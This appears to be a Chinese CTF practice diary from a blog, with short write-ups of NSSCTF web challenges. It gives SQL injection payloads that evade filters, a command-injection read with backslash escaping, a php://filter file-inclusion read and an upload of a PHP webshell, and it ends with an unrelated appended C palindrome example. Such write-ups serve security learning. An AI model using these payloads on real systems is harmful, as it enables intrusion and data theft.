NSSCTF刷题日记复健day7

[SWPUCTF 2021 新生赛]sql

不必多说,sqlmap启动:

我丢,没跑出来表名,那就手注一下试试

这里过滤了空格,但是没有过滤注释,就用/**/替换空格进行orderby操作。

 

然后发现过滤了等于符号'=' ,于是换成like, 这里我嫌hackbar还要重新编码一次太麻烦了,就直接在url上弄了,这里还要注意换一下前面数字,因为1设置了xxx,yyy固定回显,大概不是这样,不过以后没回显改成2,-1什么的试试多半可以。

 

 CTF系列之Web——联合查询注入_ctf中用户查询-优快云博客

在知道库名下手注爆表

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
或则
http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

此处用:

2'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 

 

查列同理

 

这里发现只回显了部分flag,其实经常遇到,位长度问题,这里用mid函数就行 ,其他截断函数,例如substr,right这些都被过滤了。

 

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/test_db.LTLT_flag%23

改下 ,20,20)这部分就行,mid只能20个长度。


 

[SWPUCTF 2021 新生赛]finalrce 

 

一眼看到过滤,其实禁用的不是特别多,很多都有平替命令,正好当积累了,这里ls就用到我们上次发的:

可以看到,执行是执行了的,但是你只执行没输出,所以我们需要把执行的内容输出到一个文本里面,再去访问这个文本,这里介绍命令tee

Linux命令之tee命令-优快云博客 

 

 

 ?url=l\s |tee 1.txt

 

访问可见

这里我也母鸡为什么会有四个,可能是别人传的没清,也有可能是以前做过这道题所以没有新启靶机,是我以前留下的。依次访问发现flag文件名字和flag

 

这里la被禁止了,我第一时间没看到,处理方式就是加个\转义就行了

 

 


 [SWPUCTF 2022 新生赛]ez_ez_php

 很简单的php

 

这里截取了file里得是以php开头的三个字符,然后包含了一下file里传入的文件

 

他的目的大概是让你用伪协议读取读到他的flag文件

 

还藏了手flag位置

?file=php://filter/resource=flag 


[LitCTF 2023]作业管理系统 

f12看到弱密码

 

文件上传题

 

传个php读一下就行了,注意用蚁剑的时候删一下自己以前的缓存,不然容易弄混。

 


[UUCTF 2022 新生赛]websign 

 

 

这就是火狐带给我的自信。


好困,今天做了两套行测题,口算那些计算题真打脑壳,还要看词语排顺序这些,人更昏了。

这里是很菜的WL。

感谢你的收看,希望能够帮到你.

那么我们下一集再见!

### 关于蓝桥杯竞赛中的C语言回文字符串练习及其解法 对于蓝桥杯竞赛中涉及的回文字符串问,在C语言环境下可以通过多种方式实现。下面提供一种常见的解决方案,该方案不仅适用于比赛环境下的快速编写需求,同时也能够帮助理解如何高效处理此类逻辑。 #### 定义与初步准备 首先定义什么是回文串——即正读反读均相同的序列。为了简化输入输出过程并提高程序可移植性,这里假设已经通过标准输入获取了一个不含空白符的纯字母数字组成的字符串[^1]。 #### 实现思路 核心在于构建两个指针分别指向待检测字符串首尾两端并向中间靠拢比较对应位置上的字符是否相等直到相遇为止;如果过程中遇到不匹配的情况则立即返回不是回文的结果;反之当循环结束仍未发现差异时说明给定字符串确实构成回文特性。 ```c #include <stdio.h> #include <string.h> int isPalindrome(char str[]) { int i = 0; int j = strlen(str) - 1; // 获取字符串长度减去终止符'\0'的位置 while(i < j){ if(str[i++] != str[j--]) return 0; // 若有任意一对不同,则非回文 } return 1; // 所有对比项相同视为回文 } void main(){ char testStr[]="level"; if(isPalindrome(testStr)){ printf("%s 是回文。\n",testStr); }else{ printf("%s 不是回文。\n",testStr); } } ``` 上述代码展示了基本框架以及具体操作细节,其中`isPalindrome()`函数负责执行实际判定工作而`main()`部分用于测试验证目的。 #### 进一步优化建议 考虑到可能存在的大小写字母混杂情况或是其他特殊符号干扰因素,在正式比赛中应当先对原始数据做适当预处理比如统一转换成小写形式或者忽略掉所有非字母字符后再进行后续分析以确保准确性[^2]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值